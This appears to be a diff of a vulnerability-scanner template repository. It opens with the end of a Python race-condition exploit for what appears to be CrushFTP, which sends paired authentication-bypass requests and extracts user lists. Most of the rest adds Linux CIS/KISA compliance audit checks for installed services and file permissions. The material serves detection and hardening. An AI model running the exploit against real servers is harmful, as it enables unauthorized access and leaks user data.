+              "User-Agent": "python-requests/2.32.3",
+              "Accept-Encoding": "gzip, deflate",
+              "Accept": "*/*",
+              "Connection": "keep-alive",
+              "X-Requested-With": "XMLHttpRequest",
+              "Cookie": cookie
+          }
+
+          data = {
+              "command": "getUserList",
+              "serverGroup": "MainUsers",
+              "c2f": c2f_value
+          }
+
+          try:
+              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
+              return f"Regular Request - Status: {response.status_code}", response.text
+          except Exception as e:
+              return f"Regular Request - Error: {str(e)}", ""
+
+      def check_vulnerable_response(response_text):
+          """Check if response contains user_list_subitem pattern and extract usernames"""
+          if "<user_list_subitem>" in response_text:
+              usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
+              if usernames:
+                  top_users = usernames[:10]
+                  print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
+                  return True
+          return False
+
+      def race_requests_with_detection(target_url, num_requests=100):
+          """Race multiple requests and detect vulnerability"""
+          print(f"Starting race with {num_requests} request pairs...")
+
+          for i in range(num_requests):
+              # Generate new c2f every 50 requests
+              if i % 50 == 0:
+                  c2f_value = generate_random_c2f()
+                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
+                  print(f"[*] NEW SESSION: c2f={c2f_value}")
+              else:
+                  c2f_value = generate_random_c2f()
+                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
+
+              # Store results
+              results = {'as2': None, 'regular': None}
+
+              def as2_worker():
+                  results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
+
+              def regular_worker():
+                  results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
+
+              # Create and start threads
+              t1 = threading.Thread(target=as2_worker)
+              t2 = threading.Thread(target=regular_worker)
+
+              # Start both threads simultaneously
+              t1.start()
+              t2.start()
+
+              # Wait for both to complete
+              t1.join()
+              t2.join()
+
+              # Check for vulnerability in both responses
+              as2_status, as2_response = results['as2']
+              regular_status, regular_response = results['regular']
+
+              # Check if either response contains the user list pattern
+              if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
+                  print(f"VULNERABLE: {target_url}")
+                  return True
+
+              # Print progress every 25 requests
+              if (i + 1) % 25 == 0:
+                  print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
+
+          return False
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+
+          if not host:
+              print("Host environment variable not set")
+              exit(1)
+
+          # Construct target URL
+          if not host.startswith(('http://', 'https://')):
+              target_url = f"http://{host}"
+              if port and port != "80":
+                  target_url = f"http://{host}:{port}"
+          else:
+              target_url = host
+              if port and port != "80" and port not in host:
+                  target_url = f"{host}:{port}"
+
+          print(f"[*] Testing target: {target_url}")
+
+          # Try 100 requests with race condition detection
+          if race_requests_with_detection(target_url, 100):
+              print("VULNERABLE: Race condition vulnerability detected!")
+          else:
+              print("Target appears to be patched or timing window missed")
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 4b0a00483046022100ee222071b04213a8f617b037d0e9fc528fb22d37612c562692866bf91b5a537c022100e0ca08283f306c54396c6a78765d4f548c3e5ea30c793ce7b88b8fe94ea22b50:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,7 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.11118
+    epss-score: 0.16633
+    epss-percentile: 0.94599
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -114,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 4a0a00473045022100f8903b48a3426223b074cf3692b1d6a29234635491568677b23e79a7e63b8d3c0220607199839279491185e602067f73ce3373035197e4345c24ed28e64259923e79:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022066abb3e6cd3866bd7f991255dada10db105c9804e3055ee411217bb1fdcce886022100cd607b23966e161e487c46ed81909afaf689da3b677131cc4060c22652ce8c12:922c64590222798bb761d5b6d8e72950

code/linux/audit/autofs-service.yaml

@@ -0,0 +1,45 @@
+id: autofs-service
+
+info:
+  name: Ensure autofs Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
+  remediation: |
+    - Ensure the `autofs` package is not installed unless explicitly required.
+    - To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
+    - To remove the package, run: sudo apt-get purge -y autofs
+    - To clean up dependencies, run: sudo apt-get autoremove -y
+    - To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s autofs &>/dev/null; then
+          echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
+        else
+          echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950

code/linux/audit/avahi-daemon.yaml

@@ -0,0 +1,42 @@
+id: avahi-daemon
+
+info:
+  name: Ensure Avahi Daemon Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
+  remediation: |
+    - Ensure the `avahi-daemon` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove avahi-daemon -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s avahi-daemon &>/dev/null; then
+          echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
+        else
+          echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950

code/linux/audit/dhcp-server.yaml

@@ -0,0 +1,42 @@
+id: dhcp-server
+
+info:
+  name: Ensure DHCP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
+  remediation: |
+    - Ensure the isc-dhcp-server package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove isc-dhcp-server -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s isc-dhcp-server &>/dev/null; then
+          echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
+        else
+          echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950

code/linux/audit/dns-server.yaml

@@ -0,0 +1,42 @@
+id: dns-server
+
+info:
+  name: Ensure DNS Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
+  remediation: |
+    - Ensure the `bind9` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove bind9 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s bind9 &>/dev/null; then
+          echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
+        else
+          echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950

code/linux/audit/dns-zone-transfer-any.yaml

@@ -0,0 +1,26 @@
+id: dns-zone-transfer-any
+
+info:
+  name: DNS Zone Transfer Allowed to Any Host
+  author: songyaeji
+  severity: high
+  description: |
+    DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
+
+    matchers:
+      - type: regex
+        part: code_1_response
+        regex:
+          - 'allow-transfer\s*\{\s*any;\s*\}'
+# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950

code/linux/audit/dnsmasq-service.yaml

@@ -0,0 +1,42 @@
+id: dnsmasq-service
+
+info:
+  name: Ensure dnsmasq Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
+  remediation: |
+    - Ensure the `dnsmasq` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove dnsmasq -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dnsmasq &>/dev/null; then
+          echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
+        else
+          echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950

code/linux/audit/etc-services-permission-check.yaml

@@ -0,0 +1,27 @@
+id: etc-services-permission-check
+
+info:
+  name: /etc/services Permission Check
+  author: songyaeji
+  severity: high
+  description: |
+    The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,code,audit,compliance,local
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - '^root\s+root\s+(600|640|644)$'
+# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950

code/linux/audit/finger-service-enabled.yaml

@@ -0,0 +1,40 @@
+id: finger-service-enabled
+
+info:
+  name: Linux Finger Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,code,audit,compliance,kisas
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if [ -f /etc/xinetd.d/finger ]; then
+        disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
+        if [ "$disable_status" = "no" ]; then
+          echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
+        elif [ -z "$disable_status" ]; then
+          echo "[UNKNOWN] Finger service config found but no disable directive"
+        else
+          echo "[SAFE] Finger service is disabled in xinetd"
+        fi
+      elif systemctl is-active --quiet finger 2>/dev/null; then
+        echo "[VULNERABLE] Finger service is active under systemd"
+      else
+        echo "[SAFE] Finger service not found"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950

code/linux/audit/ftp-client.yaml

@@ -0,0 +1,44 @@
+id: ftp-client
+
+info:
+  name: Ensure FTP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
+  remediation: |
+    - Ensure FTP client packages are not installed unless explicitly required.
+    - To remove them, run: sudo apt-get remove ftp tnftp -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if ftp or tnftp packages are installed
+        if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950

code/linux/audit/ftp-server.yaml

@@ -0,0 +1,42 @@
+id: ftp-server
+
+info:
+  name: Ensure FTP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
+  remediation: |
+    - Ensure the `vsftpd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove vsftpd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s vsftpd &>/dev/null; then
+          echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
+        else
+          echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950

code/linux/audit/home-env-permission.yaml

@@ -0,0 +1,40 @@
+id: home-env-permission
+
+info:
+  name: User Home Directory and Shell Environment File Ownership & Permission
+  author: songyaeji
+  severity: medium
+  description: |
+    Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,compliance,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
+        HOME_DIR=$(eval echo ~$user)
+        find "$HOME_DIR" -maxdepth 1 -type f \
+          \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
+          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
+      done
+
+    matchers:
+      - type: regex
+        name: insecure-perms
+        part: response
+        regex:
+          - "^-.{5}w"   # group writable
+          - "^-.{8}w"   # other/world writable
+
+      - type: regex
+        name: invalid-owner
+        part: response
+        regex:
+          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
+# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950

code/linux/audit/inactive-password-lock-default.yaml

@@ -0,0 +1,42 @@
+id: inactive-password-lock-default
+
+info:
+  name: Ensure Inactive Password Lock is Configured (Default Setting)
+  author: Th3l0newolf
+  severity: high
+  description: |
+    This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
+  remediation: |
+    Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
+        if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
+          echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
+        else
+          echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950

code/linux/audit/ldap-client.yaml

@@ -0,0 +1,44 @@
+id: ldap-client
+
+info:
+  name: Ensure LDAP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
+  remediation: |
+    - Ensure the ldap-utils package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove ldap-utils -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the ldap-utils package is installed
+        if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950

code/linux/audit/ldap-server.yaml

@@ -0,0 +1,42 @@
+id: ldap-server
+
+info:
+  name: Ensure LDAP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
+  remediation: |
+    - Run: sudo apt-get remove slapd -y
+    - This removes the LDAP server package to reduce the system’s attack surface.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s slapd &>/dev/null; then
+          echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
+        else
+          echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-account-lockout-threshold.yaml

@@ -0,0 +1,31 @@
+id: linux-account-lockout-threshold
+
+info:
+  name: Linux Account Lockout Threshold Check
+  author: songyaeji
+  severity: high
+  description: |
+    The system did not enforce an account lockout threshold, leaving it exposed to brute-force attacks through unrestricted login attempts.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/
+  metadata:
+    verified: true
+  tags: local,linux,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      grep -E 'pam_tally2.so|pam_faillock.so' \
+        /etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/common-auth \
+        2>/dev/null || echo "no-lockout-config"
+
+    matchers:
+      - type: word
+        name: no-config
+        part: response
+        words:
+          - "no-lockout-config"
+# digest: 4b0a00483046022100ddbb8ad3614b22b608c14fd9c974fd7024e21bda73426b584045cf5f7270303d022100cd10a4cc0e4cf5302c7760c004a52a3ef979541703ca6130a740ec39dcb99c43:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-anonymous-ftp-enabled.yaml

@@ -0,0 +1,46 @@
+id: linux-anonymous-ftp-enabled
+
+info:
+  name: Linux Anonymous FTP Access Enabled
+  author: songyaeji
+  severity: high
+  description: |
+    FTP account allows malicious users to exploit it to log in anonymously and write to directories, potentially gaining unauthorized access or executing local exploits.This template checks for signs of anonymous FTP being enabled via /etc/passwd, vsFTPD, or ProFTPD configuration files.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+  tags: linux,local,kisa,audit,ftp,anonymous,local
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if grep -q -E '^ftp:' /etc/passwd; then
+          echo "[VULNERABLE] FTP user exists in /etc/passwd"
+      else
+          echo "[SAFE] No FTP user found in /etc/passwd"
+      fi
+
+      # Check vsftpd anonymous login
+      if grep -q -i 'anonymous_enable.*yes' /etc/vsftpd/vsftpd.conf 2>/dev/null; then
+          echo "[VULNERABLE] anonymous_enable=YES in vsftpd.conf"
+      else
+          echo "[SAFE] Anonymous login disabled in vsftpd.conf"
+      fi
+
+      # Check proftpd anonymous login
+      if grep -q -i 'UserAlias.*anonymous' /etc/proftpd/proftpd.conf 2>/dev/null; then
+          echo "[VULNERABLE] UserAlias anonymous in proftpd.conf"
+      else
+          echo "[SAFE] Anonymous login disabled in proftpd.conf"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a00473045022055559b14fc854e4092076348e8112d3c5de9cc61c672ae22a6c3c0338bb8297d022100b710a746d9e1137f08fe0e7a9598b87866051c238f885376e2c0ab28d57fe15a:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-automountd-enabled.yaml

@@ -0,0 +1,46 @@
+id: linux-automountd-enabled
+
+info:
+  name: Automountd Service Enabled
+  author: songyaeji
+  severity: medium
+  description: |
+    The automountd service, when enabled or running, allowed a local attacker to execute arbitrary commands with root privileges by exploiting automatic mount options. This misconfiguration led to local privilege escalation.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+  tags: local,linux,privesc,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      if pgrep -x "automountd" > /dev/null; then
+        echo "[VULNERABLE] automountd service is running"
+      else
+        echo "[SAFE] automountd service is not running"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a0047304502203bae281737c0bf4a782527ac4b1f087046778d156478e8942e0f62bc57de275602210080d389c9fdfcdb96b3290985fcbba51ad85076327ed6aabd5af318ba4dc0f0e2:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-cron-permissions-check.yaml

@@ -0,0 +1,51 @@
+id: linux-cron-permissions-check
+
+info:
+  name: Cron Access File Ownership & Permissions
+  author: songyaeji
+  severity: high
+  description: |
+    /etc/cron.allow and /etc/cron.deny (if present) were required to be owned by root (UID 0) with strict 640 permissions.If neither file existed, only the root user could use cron, which was considered the safe default behavior.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: local,linux,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      result=""
+
+      check_file() {
+        file=$1
+        if [ -f "$file" ]; then
+          owner=$(stat -c "%u" "$file")   # numeric UID
+          perm=$(stat -c "%a" "$file")   # permissions
+          if [ "$owner" -ne 0 ] || [ "$perm" -ne 640 ]; then
+            result+="[WARN] $file misconfigured\n"
+          fi
+        fi
+      }
+
+      check_file /etc/cron.allow
+      check_file /etc/cron.deny
+
+      if [ -n "$result" ]; then
+        echo -e "$result"
+      else
+        if [ ! -f /etc/cron.allow ] && [ ! -f /etc/cron.deny ]; then
+          echo "[OK] no cron access files found (default safe behavior)"
+        else
+          echo "[OK] cron files properly configured"
+        fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[WARN] /etc/cron.allow misconfigured"
+          - "[WARN] /etc/cron.deny misconfigured"
+# digest: 490a004630440220180a1385922d6792b7c466fde7a1f487c47fe0525a02e7adf73eea1cc50e8d100220684a7e5fd3ca7898c61cde73008a3725f8753709b7ea323a254b27a075c3ff1f:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-legacy-services-enabled.yaml

@@ -0,0 +1,76 @@
+id: linux-legacy-services-enabled
+
+info:
+  name: DoS Vulnerable Service Enabled
+  author: songyaeji
+  severity: high
+  description: |
+    Services such as echo, discard, daytime, and chargen were enabled on the system, allowing attackers to exploit them to extract system information or launch denial-of-service (DoS) attacks.These legacy services were required to be disabled unless explicitly needed.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: local,linux,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/echo" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/echo"; then
+        echo "[VULNERABLE] echo service is enabled in /etc/xinetd.d/echo"
+      else
+        echo "[SAFE] echo service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/discard" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/discard"; then
+        echo "[VULNERABLE] discard service is enabled in /etc/xinetd.d/discard"
+      else
+        echo "[SAFE] discard service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
